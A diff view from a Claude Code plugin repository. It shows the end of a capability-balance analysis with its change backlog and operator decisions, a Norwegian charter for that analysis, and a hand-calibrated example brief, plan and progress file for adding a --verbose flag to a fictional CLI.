3. **Opinionated defaults that encode best practice** so a non-CC-expert gets disciplined planning/execution/review without knowing the harness — this is the durable Axis-B justification, confirmed `high_gap` on the execution and review cores.
4. **Lean at the edges:** no pass-through agents paying opus to forward bytes (V09), no hand-written reformatters for what auto-mode does ad-hoc (V15-text), no re-hosted telemetry collector unless the direct-export design is a deliberate, defended choice (V32), no dormant agents padding the capability count (V35).
---
## 6. Prioritized change backlog (Verification #6)
All items are **operator-gated** (scope-guard: analysis only). Tagged **[non-breaking]** / **[breaking]** and **[pinned]** where they touch an operator-pinned decision.
### Tier 1 — over-keeping trims (highest value, mostly non-breaking)
1. **[non-breaking][pinned]** **V09** — drop `gemini-bridge` as an opus agent; call `gemini-mcp` tools inline (or, if kept, downgrade opus→sonnet, since it explicitly does not reason). Touches the 24-opus pin → flag.
2. **[non-breaking]** **V15** — drop the `pr`/`issue`/`markdown` export variants (auto-mode does the reflow ad-hoc); keep `--export headless` and relabel it as the decomposition entry it actually is.
3. **[non-breaking, contested]** **V32** — decide direct-export-vs-collector explicitly. If a standard OTLP collector is acceptable, drop the custom exporters + reimplemented guards to native OTEL env-var passthrough; if direct export is a deliberate requirement, keep and document *why* (this is the one genuinely contested call).
4. **[non-breaking][pinned]** **V35** — strip the dormant `synthesis-agent`'s `model:opus`/`effort:high` frontmatter (or collapse it to a docs note); reclassify the 3 orchestrator reference docs as docs, not capabilities. Touches the 24-opus pin → flag.
### Tier 2 — THIN_WRAP hygiene (ensure delegate-the-engine, non-breaking)
5. **[non-breaking]** Audit V07/V08/V11/V24 implementations to confirm they ride native parallel-spawn / AskUserQuestion rather than hand-rolling, keeping only the policy layer. (Mostly already true — this is a standing guard against engine re-implementation, not a known defect.)
6. **[non-breaking][pinned]** Reconsider opus-for-all on mechanical/retrieval roles: V11 retrieval agents (already `effort:medium`), V16 `session-decomposer` (dependency parsing is mechanical), V08 researchers. Each touches the 24-opus pin → flag, don't override.
### Tier 3 — surfaced risks (no action mandated)
7. **[non-breaking][pinned]** **V30** — the `economy` profile's Jaccard floor (0.55) is grounded in parked synthetic fixtures (Step 17 calibration deferred). It is self-declared experimental; either calibrate or label clearly. → **RESOLVED (S34): label, not calibrate.** Empirical calibration is v4.2-budget-gated ($60–120, unauthorized); instead `lib/profiles/economy.yaml` now carries `experimental: true` (validator type-checks it) and every profile doc flags the `economy` row. Pinned in `profile-validator.test.mjs` + `doc-consistency.test.mjs` — the flag must track the calibration's `parked-synthetic` status.
8. **[non-breaking]** **V01** — minor: delegate the literal Q&A turn-taking to AskUserQuestion rather than a hand-rolled selection loop (internal hygiene; does not change the framing-gate or reviewer contract).
### Explicitly NOT recommended
- **No change to Handover 1** (brief schema) — the only public contract; any change is breaking. V02/V03/V05 stay.
- **No wholesale Workflow substrate swap** (CC-27 DECLINED stands); keep V27 as opt-in only.
- **No delegated-orchestration redesign** (CC-26 lean-NO stands; Δ=0).
- **No reopening** of the premium-default-profile or framing-gate operator pins — flagged where touched, never overridden.
---
## 7. Verification checklist (charter §Verifisering)
| # | Criterion | Status |
|---|-----------|--------|
| 1 | Each capability appears exactly once with disposition + rationale + evidence-ref; inventory count == matrix rows | ✅ 35 == 35 (§3) |
| 2 | Each "CC duplicate / does better" cites a specific CC feature + version | ✅ `cc_citation` per row (e.g. AskUserQuestion 2.0+, parallel Agent 2.1.154+, nesting 2.1.172, Workflow 2.1.154+, `effort:` 2.1.154, PreToolUse ~2.1.97, PreCompact 2.1.105) |
| 3 | Each "lowers expertise bar" names the concrete native steps a non-expert would otherwise do | ✅ captured in `expertise_steps_if_native` / `concrete_native_steps_saved` per capability |
| 4 | Post-2.1.181 delta actually run; latest version stated + each new item triaged | ✅ §1.1 — CC 2.1.183, 17 items triaged, none balance-relevant |
| 5 | Adversarial pass challenged ≥1 KEEP and ≥1 DROP→NATIVE, with verdict | ⚠️ 26 KEEPs challenged (1 revised); **zero DROP→NATIVE were produced**, so that half was addressed by the over-keeping meta-critic (§4) which named 4 DROP/downgrade candidates with verdicts. Honest deviation from the literal criterion, documented. |
| 6 | Output ends with a prioritized backlog, each item tagged breaking/non-breaking + operator-gated | ✅ §6 |
---
## 8. Hard constraints honored
- **Trinity asymmetry:** no recommendation changes the brief schema (Handover 1). Voyage stays unaware of Tier 2/3. The one capability marked `breaking` (V05, memory-alignment, bound to `brief_version 2.2`) is recommended **KEEP-as-is** — no breaking change proposed.
- **Operator-pinned decisions:** premium default profile, 24-opus agents, framing-gate, plan-critic=10-dim, brief-reviewer=6-dim — all preserved. Where a backlog item brushes a pin (V09/V35 model frontmatter; opus-on-mechanical-roles; economy calibration), it is **flagged `[pinned]` and operator-gated**, never overridden.
- **Analysis only:** every item in §6 requires an explicit operator gate before implementation.
---
## 9. Meta-note (dogfooding the Workflow tool)
Running this analysis *on* the CC Workflow tool produced first-hand evidence for the audit's own V27/V29 rows: the `pipeline()` shape gave clean coverage (35/35, no row dropped), schema-forced output eliminated JSON-parse fragility (the CC-27 F2 win, reconfirmed), and the conditional adversarial stage worked. Costs also reconfirmed: ~2.97M subagent tokens / 96 agents / 4.6 min for a 35×3 fan-out — Workflow is a good substrate for *bounded, verifiable, parallel* fan-out, exactly the ~20% core CC-27 identified, and a poor fit for the ~80% judgment-heavy glue (scout + synthesis, which ran inline in main context here). This is dogfooding of the **Workflow tool**, not of Voyage's pipeline (the latter was declined by the operator).
---
## 10. Decision record — resolved forks (operator, 2026-06-20)
§4/§6 deferred three forks to the operator. All three resolved to the
**conservative** option (preserve the capability / the security code / the
deliberate pin). The model and observability work therefore collapses from
code-deletion to a documentation record; the only real code changes in the
backlog are V15 (export trim, S31) and V30 (economy calibration, S34). These
decisions are now the implemented baseline of the multi-session backlog plan
(`docs/balance-backlog-plan.md`), shipped across S31–S34.
| Fork | Item | Resolution | What changed |
|------|------|------------|--------------|
| **D1** | V09 `gemini-bridge` | **Keep it as an agent.** | No removal / inline-rewiring. The capability count stays 24; its model is governed by D3 (stays opus). |
| **D2** | V32 observability export | **Keep `lib/exporters/*` + `otel-export.mjs`; document the direct-export rationale.** | Doc-only — no deletion of S21 security code. The rationale (preserve the in-process path / SSRF / field-allowlist guards rather than re-host a collector) is recorded in `docs/observability.md` §"Why direct export rather than a native collector". |
| **D3** | 24-agent `model: opus` pin (`40d8742`) | **Keep the pin firm.** | Document-only. opus on V09 (glue — does not reason), V35 (dormant `synthesis-agent`), V11 (retrieval agents, already `effort:medium`), V16 (`session-decomposer`, mechanical parsing), and V08 (researchers) was reconsidered for a sonnet downgrade and **kept opus**. **No agent frontmatter is changed** — `tests/lib/agent-frontmatter.test.mjs` remains the structural source-of-truth and is untouched. |
**Inventory framing (V35 doc half, reconciled).** The "24 agents" headline is
**21 spawnable + 3 orchestrator reference docs**. The three orchestrators
(`planning-/research-/review-orchestrator`) document the inline `/trek*`
workflow and are not spawned as sub-agents. Of the 21 spawnable, one —
`synthesis-agent` — ships **dormant** (Δ≈0, wired to nothing;
`docs/T1-synthesis-poc-results.md`). Reconciled across `README.md`,
`CLAUDE.md`, and this doc; pinned in `tests/lib/doc-consistency.test.mjs` (S33).
**V30 outcome (S34, the lone Tier-3 code item).** The economy-calibration fork
also resolved conservatively: **label, do not calibrate.** The empirical run is
v4.2-budget-gated ($60–120, unauthorized) and was never in scope here. Instead
`economy`'s experimental status — previously prose-only in `docs/profiles.md` —
now lives in the profile **data** (`lib/profiles/economy.yaml experimental: true`,
type-checked by the profile-validator) and on every profile-doc `economy` row,
pinned so the flag tracks the calibration's `parked-synthetic` status and is
dropped in the same change that lands real calibration. This closes the backlog:
all 8 §6 items disposed across S31–S34 (2 code: V15+V30; the rest doc/audit).
**Still explicitly NOT done** (out of scope, per the plan): no `gemini-bridge`
removal (D1), no exporter deletion (D2), no model downgrade (D3), no Handover-1
change, no Workflow substrate swap (CC-27 declined), no delegated-orchestration
redesign (CC-26 lean-NO), no reopening of the premium-default / framing-gate pins.

View file

@ -1,71 +0,0 @@
# Voyage-vs-CC Balance Analysis — Charter
**Status:** Launch-spec. **MANDATERT start på neste sesjon** (operatør 2026-06-20). Dette er ANALYSE-scope — anbefalinger only, operatør-gated FØR enhver implementasjon.
## Spørsmålet
Moderne Claude Code (2.1.183) gjør nativt mye av det Voyage en gang differensierte på (sub-agent-nesting, Workflow-tool, native `effort:`, plan mode, resume/state, Artifacts). Finn **balansen** der:
- **(Tilgjengelighet)** en bruker som IKKE er CC-ekspert fortsatt får Voyages verdi — Voyage koder beste praksis så du slipper å kunne harnessen.
- **(Ikke-duplisering)** Voyage IKKE reimplementerer CC-features som CC gjør bedre nativt.
**Anker-funn fra S29 (ikke re-deriver):** CC-26/CC-27 konkluderte at orkestrerings-substratet i økende grad er nativt; CLAUDE.md innrømmer selv at «swarm relieves context»-påstanden er umålt (Δ ≈ 0), og at **strukturerte artefakt-handovers + multi-sesjon-disiplin er den bærende verdien**. Operatørens egen primærbruk: store oppgaver over flere sesjoner.
## De to beslutnings-aksene
For hver Voyage-capability:
- **Akse A — Duplikasjon:** Gjør dagens CC dette nativt? Gjør CC det *bedre*?
- **Akse B — Ekspertise-bar:** Lar Voyages innpakning en ikke-CC-ekspert få verdien uten å kunne CC-internals?
**Disposition-vokabular (per capability):**
| Disposition | Når |
|-------------|-----|
| **KEEP** | Voyage-unik verdi (eller klart bedre), ikke duplikat. |
| **THIN-WRAP** | CC gjør jobben; Voyages verdi er å senke ekspertise-baren / opinionated defaults. Behold et tynt lag, deleger motoren til CC. |
| **DROP→NATIVE** | CC gjør det bedre OG ingen reell ekspertise-gap. Fjern fra Voyage; dokumentér den native veien. |
| **SIMPLIFY** | Behold, men kast kompleksitet CC nå håndterer. |
**Spenningen som MÅ løses eksplisitt:** en feature CC gjør «bedre» rått kan likevel fortjene THIN-WRAP hvis rå CC krever ekspertise. Tilgjengelighet kan rettferdiggjøre en wrapper; den kan ikke rettferdiggjøre en re-implementasjon.
## Metode (faset — «alt av metoder» autorisert: agent-swarm / Workflow / web-research)
- **Phase 0 — Evidensbase (ikke re-deriver).** Les: CC-NN-matrisen (`docs/cc-upgrade-2.1.181-decision-matrix.md`), `docs/subagent-delegation-audit.md`, `docs/T1-*`/`docs/T2-*`-resultater, CLAUDE.md design-prinsipp-innrømmelsen, CC-26/27-dispositionene. **Kjør den utsatte post-2.1.181-delta-sjekken** (2.1.182→siste, via `claude-code-guide`/WebSearch) — matrisen stopper på 2.1.181.
- **Phase 1 — Voyage capability-inventar.** Enumerér hver distinkte capability: 7 commands, 24 agenter, de 7 handovers, session-dekomponering, state/resume (`/trekcontinue`/`/trekendsession`), review-gates (plan-critic/scope-guardian/brief-reviewer/reviewere), framing-gate, rendering+annoterings-HTML, profiler, observability, autonomy-gates (`--gates`), headless/`-p`, lib-validatorer. Én rad per capability. (Fan ut lesere over commands/agents/lib/docs.)
- **Phase 2 — CC-overlap-mapping.** Per capability: dagens CC-native ekvivalent (feature + versjon) + dom «gjør CC det bedre».
- **Phase 3 — Dobbel-akse-klassifisering + adversarisk pass.** Klassifisér hver på A×B → disposition. Et contrarian/critic-pass utfordrer HVER KEEP («virkelig ikke duplikat?») og HVER DROP→NATIVE («virkelig ingen ekspertise-gap — ville en ikke-ekspert mistet verdien?»). Registrér utfordringene + verdiktene.
- **Phase 4 — Syntese.** Mål-form for Voyage + en prioritert endrings-backlog (handling per capability), som **skiller ikke-breaking fra breaking** (Trinity Handover-1-kontrakten + operatør-pinnede beslutninger er harde constraints — flagg, ikke bryt i stillhet). Operatør-gated.
**Output-artefakt:** `docs/voyage-vs-cc-balance-analysis.md`.
## Eksekvering — Dynamic Workflow (operatør-autorisert 2026-06-20)
Substrat: CC **Workflow-tool** (Dynamic Workflow) — IKKE ad-hoc Agent-kall, og IKKE dogfood via Voyages egen pipeline (`/trekbrief`→`/trekplan`; avvist av operatør). Begrunnelse: analysen er en capability-for-capability audit med adversarisk utfordring + syntese = Workflow-toolets kanoniske mønster, som gir (i) **deknings-garanti** (pipeline over hele capability-lista → ingen rad faller ut, jf. Verifisering #1), (ii) **innebygd adversarisk-verify** (parallelle skeptikere per disposition, jf. #5), (iii) parallellitet + typede schemas.
**Hybrid-form** (per Workflow-toolets egen anbefaling «scout inline først, deretter pipeline over arbeidslista»):
1. **Scout inline (main-context):** Phase 0 evidens-lesing + post-2.1.181-delta (1 research-agent) + Phase 1 capability-inventar → produserer arbeidslista (capability-rader). Dømmekraft-tungt; fan-outes IKKE.
2. **Workflow `pipeline()` per capability:** stage A = Phase 2 CC-overlap-map (m/ schema) → stage B = Phase 3 dobbel-akse-klassifisering (disposition-schema) → stage C = adversarisk verify (`parallel()` skeptikere som utfordrer KEEP/DROP→NATIVE).
3. **Syntese inline (main-context):** Phase 4 — skriv `docs/voyage-vs-cc-balance-analysis.md` + backlog fra de verifiserte radene. Dømmekraft-tungt; fan-outes IKKE.
Avgrensning: Workflow dekker KUN den parallelliserbare, verifiserbare kjernen (Phase 2–3) — speiler CC-27-funnet «~80 % glue, ~20 % fan-out». **Meta-bonus:** å kjøre analysen på Workflow-toolet gir førstehånds-evidens til analysens egen CC-27-rad (er Workflow-toolet et godt substrat?) — dogfooding av Workflow-toolet, ikke av Voyage.
## Verifisering (testbare kriterier)
1. **Dekning:** hver capability fra Phase 1 opptrer nøyaktig én gang i Phase 3-matrisen med disposition + begrunnelse + evidens-ref. (Inventar-antall == matrise-rad-antall.)
2. Hver «CC duplikat / gjør bedre» siterer en spesifikk CC-feature + versjon.
3. Hver «senker ekspertise-bar» navngir de konkrete CC-native stegene en ikke-ekspert ellers måtte gjort.
4. Post-2.1.181-delta faktisk kjørt: siste CC-versjon oppgitt + hvert nytt item triagert.
5. Adversarisk pass utfordret ≥ 1 KEEP og ≥ 1 DROP→NATIVE, registrert med verdikt.
6. Output ender med en prioritert endrings-backlog, hvert item tagget breaking/ikke-breaking og operatør-gated.
## Harde constraints (ikke bryt)
- **Trinity-asymmetri:** Voyage forblir uvitende om Tier 2/3; Handover 1 (brief-schema) er eneste integrasjonspunkt. Ingen anbefaling kan bryte den uten å flagges som public-contract breaking change.
- **Operatør-pinnede beslutninger** (premium default-profil, 24 agenter opus-pinnet, etc.): analysen MÅ gjerne utfordre dem, men må merke dem operatør-pinnet, ikke overstyre i stillhet.
- **Kun analyse:** anbefalinger + backlog. Ingen implementasjon uten egen operatør-gate (scope-guard).
## Kickoff (neste sesjon)
På kald start: les dette charteret + STATE, bekreft tilnærmingen (eller la operatør justere aksene/scope), start så Phase 0 (inline scout). Eksekver Phase 2–3 via **Dynamic Workflow** per «Eksekvering»-seksjonen (operatør-autorisert 2026-06-20). Charteret er skrevet S29 — ennå ikke committet (på disk i `docs/`, lesbart uansett).

View file

@ -1,56 +0,0 @@
# Regeneration log — 01-add-verbose-flag
| Field | Value |
|-------|-------|
| Last regenerated | 2026-05-01 |
| trekplan version | 3.1.0 |
| Claude Code version | ≥ 2.1.105 (PreCompact-hook) |
| Source brief author | Hand-calibrated example, not LLM-generated |
| Plan author | Hand-calibrated to demonstrate plan_version 1.7 schema + manifest YAML |
## What this is
A complete walk-through of the four-stage pipeline for one realistic
small task: adding a `--verbose` flag to a hypothetical `small-auth`
CLI parser. Every artifact is hand-calibrated, not LLM-generated, so
fork-ers can study the *shape* without worrying about whether an
LLM hallucinated something.
## What "regenerate" means
If the artifact format changes (frontmatter schema, manifest YAML
keys, progress.json version), this example needs to be re-built so
fork-ers don't learn an obsolete shape.
Triggers for regeneration:
- `plan_version` bumps
- Frontmatter schema additions to `brief.md` or `research/*.md`
- New required keys in manifest YAML
- `progress.json` schema bump beyond `schema_version: "1"`
When regenerating: do **not** run an actual LLM-driven pipeline against
this brief. Hand-calibrate against the new schema so the example stays
deterministic and reviewable.
## Project assumed
A fictional `small-auth` CLI with this layout:
```
small-auth/
├── package.json
├── src/
│ ├── cli.mjs # 80-line argv parser (hand-rolled)
│ └── commands/
│ ├── login.mjs
│ ├── logout.mjs
│ ├── whoami.mjs
│ ├── token-refresh.mjs
│ ├── users-list.mjs
│ └── users-create.mjs
└── tests/ # 24 tests, node:test
```
This project is **not** in the plugin repo. The example artifacts
reference it as if it were the cwd of an `/trekexecute` run.

View file

@ -1,55 +0,0 @@
---
type: trekbrief
brief_version: 1.0
slug: add-verbose-flag
task: Add a --verbose flag to the small-auth CLI parser
research_topics: 1
research_status: complete
brief_quality: ready
created: 2026-05-01
---
# Add `--verbose` flag to small-auth CLI
## Intent
The `small-auth` CLI parser has six commands (`login`, `logout`, `whoami`,
`token-refresh`, `users-list`, `users-create`) and currently emits only
final results — no progress, no timings, no internal step trace. Operators
debugging slow `token-refresh` calls or mis-routed `users-list` queries
have no signal between "started" and "finished".
We want a `--verbose` flag that, when passed, prints structured progress
lines to stderr without changing stdout output. Stdout stays the
machine-parseable contract; stderr becomes the human-readable trace.
## Goal
Add a single `--verbose` boolean flag, recognized by all six commands,
that emits one stderr line per internal step. No other behavioral
changes. The default (`--verbose` absent) produces output byte-identical
to today's CLI.
## Success Criteria
- `small-auth login --verbose alice` exits 0 and writes ≥ 3 stderr lines
prefixed `[verbose]` covering: argument parse, credential lookup,
session-token issue.
- `small-auth login alice` (no flag) writes exactly the same stdout as
before this change — verified by golden-file diff against
`tests/golden/login.stdout`.
- `--verbose` works in any position: `small-auth --verbose login alice`,
`small-auth login --verbose alice`, `small-auth login alice --verbose`.
- `--verbose` short form is `-v`. `-vv` is **not** recognized — only one
level. Document this in `--help`.
- All six commands accept the flag without rejection. Commands that have
no internal steps to trace (`whoami`) still accept the flag silently.
- Existing 24 tests in `tests/` continue to pass. Two new tests added:
one stdout-stability test, one stderr-content test for `login`.
## Out of scope
- Log levels beyond on/off (no `--debug`, `--trace`).
- Structured JSON logging — stderr stays plain text in this iteration.
- Logging configuration via env vars or config file.
- Any command other than the six listed.

View file

@ -1,235 +0,0 @@
# Add `--verbose` flag to small-auth CLI
plan_version: 1.7
> **Plan quality: A** (92/100) — APPROVE
>
> Generated by trekplan v3.1.0 on 2026-05-01.
## Context
The `small-auth` CLI has six commands and emits only final results; no
progress, no internal step trace. Operators debugging slow `token-refresh`
or mis-routed `users-list` calls have no signal between "started" and
"finished". This plan adds a `--verbose` / `-v` flag that, when set,
emits structured progress lines to stderr without changing stdout. The
default path stays byte-identical.
This is a textbook minimal-scope addition: the parser is small,
centralized, and already supports global flags.
## Architecture Diagram
```mermaid
graph TD
subgraph "Changes in this plan"
cli["src/cli.mjs<br/>parse globalFlags"]
ctx["ctx object<br/>+ verbose: boolean"]
login["src/commands/login.mjs<br/>+ 3 verbose calls"]
token["src/commands/token-refresh.mjs<br/>+ 4 verbose calls"]
userlist["src/commands/users-list.mjs<br/>+ 2 verbose calls"]
usercreate["src/commands/users-create.mjs<br/>+ 3 verbose calls"]
logout["src/commands/logout.mjs<br/>+ 2 verbose calls"]
whoami["src/commands/whoami.mjs<br/>(accepts flag, no traces)"]
help["src/cli.mjs<br/>--help text"]
tests["tests/cli-verbose-flag.test.mjs<br/>tests/cli-no-verbose-stability.test.mjs"]
cli --> ctx
ctx --> login
ctx --> token
ctx --> userlist
ctx --> usercreate
ctx --> logout
ctx --> whoami
cli --> help
login --> tests
end
```
## Codebase Analysis
- **Tech stack:** Node.js ≥ 18, no external runtime dependencies, `node:test` for tests
- **Key patterns:** hand-rolled argv parser, two-pass extract (globals → command), handler contract `run(positional, flags, ctx)`
- **Relevant files:** `src/cli.mjs`, `src/commands/{login,logout,whoami,token-refresh,users-list,users-create}.mjs`, `tests/`
- **Reusable code:** existing `[error]` stderr pattern at `src/cli.mjs:67` — mirror it for `[verbose]`
- **External tech:** none
- **Recent git activity:** parser last changed in commit `ab1c2d3` (added `--version`); pattern still current
## Research Sources
*Internal research only — see `research/01-cli-parser-conventions.md`.*
## Implementation Plan
Each step targets 1–2 files and one focused change. TDD structure: test
or stability harness comes before behavior change.
### Step 1: Capture golden stdout for stability test
- **Files:** `tests/golden/login.stdout` (new file), `tests/golden/whoami.stdout` (new file), `tests/golden/users-list.stdout` (new file)
- **Changes:** Run current CLI for three representative commands, save stdout byte-for-byte. Use `node src/cli.mjs login alice > tests/golden/login.stdout` and similar.
- **Verify:** `wc -c tests/golden/*.stdout` → expected: each file > 0 bytes
- **Checkpoint:** `git commit -m "test(small-auth): capture pre-change golden stdout for verbose-flag stability"`
- **On failure:** revert files; do not proceed. Likely cause: CLI itself broken — investigate before continuing.
- **Manifest:**
```yaml
manifest:
expected_paths:
- tests/golden/login.stdout
- tests/golden/whoami.stdout
- tests/golden/users-list.stdout
min_file_count: 3
commit_message_pattern: "^test\\(small-auth\\): capture"
bash_syntax_check: []
forbidden_paths: []
must_contain: []
```
### Step 2: Add stability test (passes today — the canary for step 5 onwards)
- **Files:** `tests/cli-no-verbose-stability.test.mjs` (new file)
- **Changes:** Three subtests, one per golden file. Each runs `node src/cli.mjs <cmd> ...` and asserts stdout `===` `readFileSync('tests/golden/<cmd>.stdout')`. The test should PASS today (no behavior change yet) — it's the canary for step 5 onwards.
- **Verify:** `node --test tests/cli-no-verbose-stability.test.mjs` → expected: 3 pass
- **Checkpoint:** `git commit -m "test(small-auth): stdout stability harness for verbose-flag work"`
- **On failure:** escalate — if subtests fail, the goldens are wrong: re-run step 1.
- **Manifest:**
```yaml
manifest:
expected_paths:
- tests/cli-no-verbose-stability.test.mjs
min_file_count: 1
commit_message_pattern: "^test\\(small-auth\\): stdout stability"
bash_syntax_check: []
forbidden_paths: []
must_contain:
- path: tests/cli-no-verbose-stability.test.mjs
pattern: "tests/golden/login\\.stdout"
```
### Step 3: Extend parser to recognize `--verbose` and `-v`
- **Files:** `src/cli.mjs`
- **Changes:** At `src/cli.mjs:34` (alias table) add `'-v': '--verbose'`. At `src/cli.mjs:48` (globalFlags loop) add `'--verbose'` case that sets `globalFlags.verbose = true`. Default the field to `false`. The flag is consumed (removed from argv) like `--help` and `--version`.
- **Verify:** `node src/cli.mjs --verbose login alice 2>&1 | head -1` → expected: no parse error
- **Checkpoint:** `git commit -m "feat(cli): recognize --verbose / -v as global flag"`
- **On failure:** revert `src/cli.mjs`; rerun stability test to confirm clean baseline.
- **Manifest:**
```yaml
manifest:
expected_paths:
- src/cli.mjs
min_file_count: 1
commit_message_pattern: "^feat\\(cli\\): recognize --verbose"
bash_syntax_check: []
forbidden_paths: []
must_contain:
- path: src/cli.mjs
pattern: "globalFlags\\.verbose"
```
### Step 4: Pass `verbose` into handler `ctx`
- **Files:** `src/cli.mjs`
- **Changes:** At `src/cli.mjs:62` (ctx construction) add `verbose: globalFlags.verbose` to the ctx literal. No handler changes yet.
- **Verify:** `node --test tests/cli-no-verbose-stability.test.mjs` → expected: 3 pass (handlers ignore the new field for now)
- **Checkpoint:** `git commit -m "feat(cli): thread verbose into command handler ctx"`
- **On failure:** revert — stability tests fail → ctx mutation broke something. Bisect by reverting and adding back one line at a time.
- **Manifest:**
```yaml
manifest:
expected_paths:
- src/cli.mjs
min_file_count: 1
commit_message_pattern: "^feat\\(cli\\): thread verbose"
bash_syntax_check: []
forbidden_paths: []
must_contain:
- path: src/cli.mjs
pattern: "verbose: globalFlags\\.verbose"
```
### Step 5: Wire verbose output in `login`, `token-refresh`, `users-list`, `users-create`, `logout`
- **Files:** `src/commands/login.mjs`, `src/commands/token-refresh.mjs`, `src/commands/users-list.mjs`, `src/commands/users-create.mjs`, `src/commands/logout.mjs`, `tests/cli-verbose-flag.test.mjs` (new file)
- **Changes:** First the test, `tests/cli-verbose-flag.test.mjs`: spawn `node src/cli.mjs login --verbose alice`, capture stderr, assert exit 0, assert stderr contains all three expected verbose lines: "[verbose] parsing argv", "[verbose] credential lookup", "[verbose] issuing session token", in that order. It fails before the wiring below (no verbose lines yet): the test for a behaviour lands in the step that builds it. Then, at each internal step (3 for login, 4 for token-refresh, 2 for users-list, 3 for users-create, 2 for logout — 14 call sites total), add `if (ctx.verbose) ctx.stderr.write(\`[verbose] <step description>\\n\`);`. Step descriptions per file:
- login: "parsing argv", "credential lookup", "issuing session token"
- token-refresh: "parsing argv", "validating refresh token", "rotating session token", "persisting new token"
- users-list: "parsing argv", "querying user store"
- users-create: "parsing argv", "validating input", "writing user record"
- logout: "parsing argv", "invalidating session token"
- **Verify:** `node --test tests/cli-verbose-flag.test.mjs` → expected: 1 pass
- **Regression:** `node --test tests/cli-no-verbose-stability.test.mjs` → expected: 3 pass (stdout unchanged when flag absent)
- **Checkpoint:** `git commit -m "feat(commands): emit verbose stderr trace for 5 commands"`
- **On failure:** retry — stability tests fail → likely a stray `console.log` or `ctx.stdout.write` instead of `ctx.stderr.write`. Re-grep all five files for `stdout` mentions added in this step. If the verbose test misses a line, check the `[verbose]` strings for typos; if its exit code != 0, check that login still works without verbose.
- **Manifest:**
```yaml
manifest:
expected_paths:
- src/commands/login.mjs
- src/commands/token-refresh.mjs
- src/commands/users-list.mjs
- src/commands/users-create.mjs
- src/commands/logout.mjs
- tests/cli-verbose-flag.test.mjs
min_file_count: 6
commit_message_pattern: "^feat\\(commands\\): emit verbose"
bash_syntax_check: []
forbidden_paths: []
must_contain:
- path: src/commands/login.mjs
pattern: "ctx\\.verbose"
- path: src/commands/token-refresh.mjs
pattern: "ctx\\.verbose"
- path: tests/cli-verbose-flag.test.mjs
pattern: "\\[verbose\\] credential lookup"
```
### Step 6: Update `--help` text
- **Files:** `src/cli.mjs`
- **Changes:** At the help-text constant (`src/cli.mjs:78`), add a line under "Global flags": ` -v, --verbose emit per-step trace to stderr (single level only)`.
- **Verify:** `node src/cli.mjs --help | grep -E "verbose"` → expected: 1 line containing "emit per-step trace"
- **Checkpoint:** `git commit -m "docs(cli): document --verbose / -v in --help text"`
- **On failure:** revert just the constant; help text isn't load-bearing.
- **Manifest:**
```yaml
manifest:
expected_paths:
- src/cli.mjs
min_file_count: 1
commit_message_pattern: "^docs\\(cli\\): document --verbose"
bash_syntax_check: []
forbidden_paths: []
must_contain:
- path: src/cli.mjs
pattern: "emit per-step trace"
```
## Verification
Final acceptance run after step 6:
```bash
node --test tests/ # all 26 tests pass (24 + 2 new)
node src/cli.mjs login alice > /tmp/out 2>/dev/null
diff /tmp/out tests/golden/login.stdout # exit 0
node src/cli.mjs login --verbose alice 2>/tmp/err 1>/dev/null
grep -c "\[verbose\]" /tmp/err # ≥ 3
node src/cli.mjs --help | grep -c "\-v, --verbose" # 1
```
## Plan-critic notes
- No deferred decisions: every step names its files, lines, and exact
string changes.
- TDD: stability harness (step 2) precedes behavior changes (steps 3-5),
and the verbose-content test lands in step 5, with the code it tests.
- Verify commands are runnable, not "test it works".
- Step 5 wires 5 files (and their test) in one commit; this is over the 1–2 file
guideline but is justified by symmetry — the change is mechanical
and atomic across the five files; splitting would create five tiny
commits with no test value between them.
## Execution Strategy
Single session, 6 steps, ~15-20 minutes. No parallel decomposition needed.

View file

@ -1,101 +0,0 @@
{
"schema_version": "1",
"slug": "add-verbose-flag",
"plan": ".claude/projects/2026-05-01-add-verbose-flag/plan.md",
"plan_path": ".claude/projects/2026-05-01-add-verbose-flag/plan.md",
"plan_version": "1.7",
"mode": "single",
"session_start_sha": "ab1c2d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9",
"started_at": "2026-05-01T10:14:32Z",
"updated_at": "2026-05-01T10:31:08Z",
"status": "completed",
"current_step": 6,
"total_steps": 6,
"steps": [
{
"n": 1,
"title": "Capture golden stdout for stability test",
"status": "completed",
"started_at": "2026-05-01T10:14:32Z",
"completed_at": "2026-05-01T10:16:01Z",
"commit_sha": "c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0",
"files_changed": [
"tests/golden/login.stdout",
"tests/golden/whoami.stdout",
"tests/golden/users-list.stdout"
],
"verify_passed": true
},
{
"n": 2,
"title": "Add stability test (passes today — the canary for step 5 onwards)",
"status": "completed",
"started_at": "2026-05-01T10:16:01Z",
"completed_at": "2026-05-01T10:18:42Z",
"commit_sha": "d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1",
"files_changed": [
"tests/cli-no-verbose-stability.test.mjs"
],
"verify_passed": true
},
{
"n": 3,
"title": "Extend parser to recognize --verbose and -v",
"status": "completed",
"started_at": "2026-05-01T10:18:42Z",
"completed_at": "2026-05-01T10:20:55Z",
"commit_sha": "e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2",
"files_changed": [
"src/cli.mjs"
],
"verify_passed": true
},
{
"n": 4,
"title": "Pass verbose into handler ctx",
"status": "completed",
"started_at": "2026-05-01T10:20:55Z",
"completed_at": "2026-05-01T10:22:13Z",
"commit_sha": "f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3",
"files_changed": [
"src/cli.mjs"
],
"verify_passed": true
},
{
"n": 5,
"title": "Wire verbose output in login, token-refresh, users-list, users-create, logout",
"status": "completed",
"started_at": "2026-05-01T10:22:13Z",
"completed_at": "2026-05-01T10:29:51Z",
"commit_sha": "a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4",
"files_changed": [
"src/commands/login.mjs",
"src/commands/token-refresh.mjs",
"src/commands/users-list.mjs",
"src/commands/users-create.mjs",
"src/commands/logout.mjs",
"tests/cli-verbose-flag.test.mjs"
],
"verify_passed": true
},
{
"n": 6,
"title": "Update --help text",
"status": "completed",
"started_at": "2026-05-01T10:29:51Z",
"completed_at": "2026-05-01T10:31:08Z",
"commit_sha": "c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
"files_changed": [
"src/cli.mjs"
],
"verify_passed": true
}
],
"stats": {
"total_duration_ms": 996000,
"verify_failures": 0,
"manifest_failures": 0,
"rollbacks": 0
}
}

View file

@ -1,87 +0,0 @@
---
type: trekresearch-brief
research_version: 1.0
